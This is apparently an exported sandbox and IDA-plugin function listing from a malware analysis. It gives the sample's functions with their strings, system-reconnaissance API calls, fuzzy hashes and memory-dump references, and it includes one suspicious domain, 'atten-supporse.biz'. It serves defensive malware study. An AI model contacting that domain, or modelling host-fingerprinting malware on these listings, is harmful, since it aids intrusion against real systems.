String ID: #$#$#$#$#$#$$$$$$$$$$$$$%$%$%$%$%$%$&$&$&$&$&$&$&$&$)$,$-$/$0$0$4$7$8$8$8$9$:$:$<$<$<$=$=$>$>$>$>$?$?$?$?$A$C$D$D$D$E$M$O$P$Q$U$X$X$Z$Z$\$]$]$^$`$`$`$`$b$b$c$d$d$d$e$f$f$h$i$j$j$j$l$l$m$n$n$n$o$p$q$r$r$t$v$w$x$z$|$}$~
API String ID: 0-723620710
Opcode ID: 3b96d3cb352002439e913b8e169ab3df44ec6fcefba39ea63aa04f0986ea9009
Instruction ID: e9765829eb5585a8e50a1ef467c9acab37a29229083a845ef25fbe8ab4dace98
Opcode Fuzzy Hash: 3b96d3cb352002439e913b8e169ab3df44ec6fcefba39ea63aa04f0986ea9009
Instruction Fuzzy Hash: AF13CE7160D7C08AD3368B38C8643AFBBE5ABD6314F198A6DE4D9873C2D6758905C743

Function 00311320 Relevance: 29.3, Strings: 23, Instructions: 589
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!@, xrefs: 00311356
<, xrefs: 00311615
#, xrefs: 00311808
c, xrefs: 00311797
|, xrefs: 003117A1
$, xrefs: 00311AD0
,, xrefs: 003118C4
:, xrefs: 0031161F
z, xrefs: 0031179C
$, xrefs: 003113C4
Z, xrefs: 00311955
\, xrefs: 00311950
%, xrefs: 003113BF
[, xrefs: 0031195A
%, xrefs: 003117FE
#, xrefs: 00311AD5
$, xrefs: 00311803
y, xrefs: 00311792
&, xrefs: 003113BA
&, xrefs: 00311AC6
#, xrefs: 003113C9
%, xrefs: 00311ACB
&, xrefs: 003117F9

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: !@$#$#$#$$$$$$$%$%$%$&$&$&$,$:$<$Z$[$\$c$y$z$|
API String ID: 0-567168692
Opcode ID: f6819caf0381405553bae92a99d881a1c2c70cd4d090fe4faa2f902345d3504a
Instruction ID: 45f8d39f36834d563c9c7702eb666e9992f032ffeb00845b14a02035621971e6
Opcode Fuzzy Hash: f6819caf0381405553bae92a99d881a1c2c70cd4d090fe4faa2f902345d3504a
Instruction Fuzzy Hash: 1632B17160C7908FD3299F38C4953EEBBE1AB89324F194A2DE6D5873D1D7798884CB42

Function 002FB9F0 Relevance: 18.1, Strings: 14, Instructions: 637
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L(Q*, xrefs: 002FBBDC
'h7j, xrefs: 002FBC7C
l<c>, xrefs: 002FBBBE
_,P., xrefs: 002FBBE6
l0g2, xrefs: 002FBBC8
;lMn, xrefs: 002FBC86
>\}^, xrefs: 002FBC0E
#t+v, xrefs: 002FBC72
S }", xrefs: 002FBBF0
*|,~, xrefs: 002FBC5E
R8j:, xrefs: 002FBBB4
6p/r, xrefs: 002FBC68
"x&z, xrefs: 002FBC54
^_P, xrefs: 002FC0BA

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: ^_P$"x&z$#t+v$'h7j$*|,~$6p/r$;lMn$>\}^$L(Q*$R8j:$S }"$_,P.$l0g2$l<c>
API String ID: 0-3260501608
Opcode ID: 4dfaff7d44133ab3fa3aff0d2aea2d607f0faef2b70481ce290c4fd3892518a7
Instruction ID: 1d05fb39d880393a58dd9a3f22e8ef6103eeba1afb4d0af8dff78c1c10833a59
Opcode Fuzzy Hash: 4dfaff7d44133ab3fa3aff0d2aea2d607f0faef2b70481ce290c4fd3892518a7
Instruction Fuzzy Hash: F8329DB1610B01CFD3258F25D991797BBF6FB85315F14892CE5AA8BBA0C778A405CF50

Function 00327010 Relevance: 16.5, APIs: 2, Strings: 7, Instructions: 791
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 003272BC
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0032778B

Strings

P+, xrefs: 0032734C
TU, xrefs: 00327480
EG, xrefs: 00327460
Mijk, xrefs: 00327054
]E, xrefs: 0032735C
MO, xrefs: 00327470
-U%W, xrefs: 0032702C

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: BlanketInformationProxyVolume
String ID: -U%W$Mijk$P+$TU$]E$EG$MO
API String ID: 3048927609-1584546058
Opcode ID: 15ddde3e6694f476da6a1c38cde484e0ef178018a5e10a6349fde2242a5df497
Instruction ID: 81e9eed8eb40dcd6c45c68ab069aa69c0acd311a90382f761fd7caa9a29f335d
Opcode Fuzzy Hash: 15ddde3e6694f476da6a1c38cde484e0ef178018a5e10a6349fde2242a5df497
Instruction Fuzzy Hash: C5322276A083119BD315CF28DC4576BBBE6EFC5310F198A2CE5849B381EB74D906CB92

Function 00326CD0 Relevance: 15.2, Strings: 12, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%, xrefs: 00326E41
$, xrefs: 00326F51
%, xrefs: 00326F4C
&, xrefs: 00326D3B
#, xrefs: 00326F56
&, xrefs: 00326E3C
$, xrefs: 00326E46
#, xrefs: 00326E4B
%, xrefs: 00326D40
#, xrefs: 00326D4A
$, xrefs: 00326D45
&, xrefs: 00326F47

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: #$#$#$$$$$$$%$%$%$&$&$&
API String ID: 2994545307-3794410101
Opcode ID: 03a0c7d69ca0eb680bf1c078373ad5316593eae9ba78cb736c258e6b38bfc9e2
Instruction ID: ee045b5538ca01fb985b7796016107b4c5aec4340e6ca4b84e45970dcc9a4707
Opcode Fuzzy Hash: 03a0c7d69ca0eb680bf1c078373ad5316593eae9ba78cb736c258e6b38bfc9e2
Instruction Fuzzy Hash: 3591F43110C3E48FDB12DB68E99636ABFE5AF96308F1A495DE4C687382D279C844C717

Function 00305CD6 Relevance: 12.8, APIs: 1, Strings: 6, Instructions: 571
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I, xrefs: 003062C8
T^X], xrefs: 00305FE0
G^TY, xrefs: 0030629C
JDXM, xrefs: 00306291
&%$#, xrefs: 00305E52, 00305E66, 00305E73
AFVP, xrefs: 003062B2

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#$AFVP$G^TY$I$JDXM$T^X]
API String ID: 0-3532716394
Opcode ID: 2f878d20b50d837662c428e88f6091ecd72a4c92382e62507f0fb2a7c652786d
Instruction ID: 7df531c392fd6e724c9013944923ef0f73b184254e4d9f0d60d268a385cfec1f
Opcode Fuzzy Hash: 2f878d20b50d837662c428e88f6091ecd72a4c92382e62507f0fb2a7c652786d
Instruction Fuzzy Hash: C40209B15183408FD736CF24D8A27ABB7E5FF99354F054A2CE4C98B292E7349921CB42

Function 002FEE72 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 002FEE87

Strings

/, xrefs: 002FEF6C
6, xrefs: 002FEF98
atten-supporse.biz, xrefs: 002FF2E0
F>, xrefs: 002FEE95

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Uninitialize
String ID: 6$F>$atten-supporse.biz$/
API String ID: 3861434553-4147204359
Opcode ID: ae9e36cafe0f9cb02d7d82cb69cb8053bf589183b27dc5d95d1891d64590de32
Instruction ID: e6eb94fbe92db876879bd518d865ad922534b6234c08a0f424abbc9dd8f03d54
Opcode Fuzzy Hash: ae9e36cafe0f9cb02d7d82cb69cb8053bf589183b27dc5d95d1891d64590de32
Instruction Fuzzy Hash: 66B1BBB150C3D18BD331CF2598907EBBBE2AFD6344F18896CD4C99B252DB355905CB92

Function 0031D36D Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0031D396
GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0031D484

Strings

abQX, xrefs: 0031D3A4

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: ComputerName
String ID: abQX
API String ID: 3545744682-798877159
Opcode ID: 111335056363bf9998f7cab501b696d3c887825d983b78fff459ddb1b6cf1bd5
Instruction ID: 54646af4f4b739e8ca92b6297f15b40ad05bb87853ad18b9bf6604e5cafc0e1b
Opcode Fuzzy Hash: 111335056363bf9998f7cab501b696d3c887825d983b78fff459ddb1b6cf1bd5
Instruction Fuzzy Hash: E5A1E1745047928EE7168F39C490772FFE1AF67304F288199C4DA9B393DB399886CB61

Function 00313027 Relevance: 5.4, Strings: 4, Instructions: 413
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|r, xrefs: 00313212
|t, xrefs: 00313202
qE, xrefs: 0031320A
c7, xrefs: 003131FA

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: c7$qE$|r$|t
API String ID: 0-462124419
Opcode ID: ea00450b5b831b9c15175ec63e1609797f7dfac9161726fc5b8947b46246ea51
Instruction ID: 08f51585a98f9b4bf3f9e9aee1a36661d242e97ebb0b69d86affcc5a4f489bbc
Opcode Fuzzy Hash: ea00450b5b831b9c15175ec63e1609797f7dfac9161726fc5b8947b46246ea51
Instruction Fuzzy Hash: 55D1C9B860C3008BD319DF55D8826ABBBB5EFCA314F04992CF1998B351E738C649CB56

Function 004AB208 Relevance: 3.9, Strings: 3, Instructions: 184COMMON

Download Yara Rule

Strings

Software\Borland\Locales, xrefs: 004AB238, 004AB256
., xrefs: 004AB374
Software\Borland\Delphi\Locales, xrefs: 004AB274

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 0-3917250287
Opcode ID: d28ee50ee284c00c6ec9bb56e243f3c452b93a38deab8393d06088bf3c79d595
Instruction ID: 5116bd707d4920398523d7339d767489633bea737cc546faca92ee6a2d4d0e6d
Opcode Fuzzy Hash: d28ee50ee284c00c6ec9bb56e243f3c452b93a38deab8393d06088bf3c79d595
Instruction Fuzzy Hash: 02516A71E4021C7AEB21D6A48C47FEF77ACDB15744F5041ABBA04E61C3DB789E448BA8

Function 0031D6F4 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 416COMMON

Download Yara Rule

Strings

*(", xrefs: 0031D700

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: *("
API String ID: 0-4078834432
Opcode ID: 666ead51f941abfd9cbb11905045050070d92fdef9c700d2902c2110a7f44019
Instruction ID: 9fa81f01f0256fb02499d47c620441d0216ddbf59f5d9b4969567e6270d2ce74
Opcode Fuzzy Hash: 666ead51f941abfd9cbb11905045050070d92fdef9c700d2902c2110a7f44019
Instruction Fuzzy Hash: 37C1BF755057818FD72ACF29C090762BBE2AF9B304F29C59DC4EA8B7A2C735D846CB50

Function 0039CBD0 Relevance: 3.8, Strings: 3, Instructions: 78COMMON

Download Yara Rule

Strings

ntdll.dll, xrefs: 0039CBD5, 0039CBE5
GetProcAddress, xrefs: 0039CC20
kernel32.dll, xrefs: 0039CC16

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: GetProcAddress$kernel32.dll$ntdll.dll
API String ID: 0-3551693257
Opcode ID: 4b5487dc123d03356f7fc424314a96ee4d7740a4596528f7e75fc109a28ec0f3
Instruction ID: 56d032e948de8194ee97260f45401e612195df2b836243051af7fafb50132cc6
Opcode Fuzzy Hash: 4b5487dc123d03356f7fc424314a96ee4d7740a4596528f7e75fc109a28ec0f3
Instruction Fuzzy Hash: 281136713907011BCF237BB89C82B4A3AC0AF85740F221565F908EF386DBA4EC038B54

Function 0032E550 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

5432, xrefs: 0032E5F9
y|}~, xrefs: 0032E5ED, 0032E665

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 5432$y|}~
API String ID: 0-27294139
Opcode ID: 520eab37c9449fcfb7e93bfa91de70944a2b36f38eeb4cfb39b6163711b6de94
Instruction ID: 4430fab0c57e76c6ca23b5569b2a6337160aa40d92978129bbfa519197af444e
Opcode Fuzzy Hash: 520eab37c9449fcfb7e93bfa91de70944a2b36f38eeb4cfb39b6163711b6de94
Instruction Fuzzy Hash: 209126356083219FD71ACF29D892A6BB7E2EBD5314F19C93CE8968B291D734DC05CB81

Function 0031C375 Relevance: 1.9, APIs: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0031D82E

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: d6ad0ab4cef3495bae07b3fef60506da1340a74c0f042378ea0c929003c4d011
Instruction ID: 204eaa42d886f27ea3720ed7425a326715ac34c70eb469635056ecffb5473a8d
Opcode Fuzzy Hash: d6ad0ab4cef3495bae07b3fef60506da1340a74c0f042378ea0c929003c4d011
Instruction Fuzzy Hash: 86B1C3755047818FD72ACF29C490762FBE2AF9A304F29C59DC4EA8B762C735E846CB50

Function 0039C710 Relevance: 1.6, APIs: 1, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 0039C768

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 35dd03543287d4e28ab400ffff0392e593155b6f5faadc6b13c1c82310f29e0f
Instruction ID: 587810793784e77b41384d8d5e55817c1298c30af42550e8c702ea1ff2facfa9
Opcode Fuzzy Hash: 35dd03543287d4e28ab400ffff0392e593155b6f5faadc6b13c1c82310f29e0f
Instruction Fuzzy Hash: F6019AB6200249BF9B10CE8ADCC5DDBBBACFB8D794B444115FB1893202D270AC118BB1

Function 0039C6B8 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 0039C700

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f25a2f27136002ab8ac5af4abaf4422d1e78b9b1c3895b62d6c2682911e3cafa
Instruction ID: f1ff9295f992ca8ea95f99ceb8e76188fa2d1a45df930c608703ed7c09d5f488
Opcode Fuzzy Hash: f25a2f27136002ab8ac5af4abaf4422d1e78b9b1c3895b62d6c2682911e3cafa
Instruction Fuzzy Hash: 4BF012B6100219BF9B00CE8ADCC8CEB7B6CFB8D360B448019FB0883201D670AC10CBB1

Function 0032DCA0 Relevance: 1.5, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

5432, xrefs: 0032DCB3

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: 5432
API String ID: 2994545307-4184845939
Opcode ID: 9ad9cc22886a68530572f211b17a20ec89dcc02d2a8f96bb2b6eb44a74cf421e
Instruction ID: e5eeee0ed084d743df37a92334bf9d63f40b727e27d899232fc2dd7480a2b15e
Opcode Fuzzy Hash: 9ad9cc22886a68530572f211b17a20ec89dcc02d2a8f96bb2b6eb44a74cf421e
Instruction Fuzzy Hash: 80712831604311ABD71ACF28DC9167BB3E6EFD8310F6AC92DE5964B295DB349C11C781

Function 0039C650 Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtSetInformationFile.NTDLL(?,?,?,?,?), ref: 0039C677

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileInformation
String ID:
API String ID: 4253254148-0
Opcode ID: cd34af20a1ae6ef2447dfdeb022a8489b9d082f5f9858d50cfe39839159c30f0
Instruction ID: 95589a82c8284563863c475c6ed389b38f66bc980583606cb2d3e426043bc07b
Opcode Fuzzy Hash: cd34af20a1ae6ef2447dfdeb022a8489b9d082f5f9858d50cfe39839159c30f0
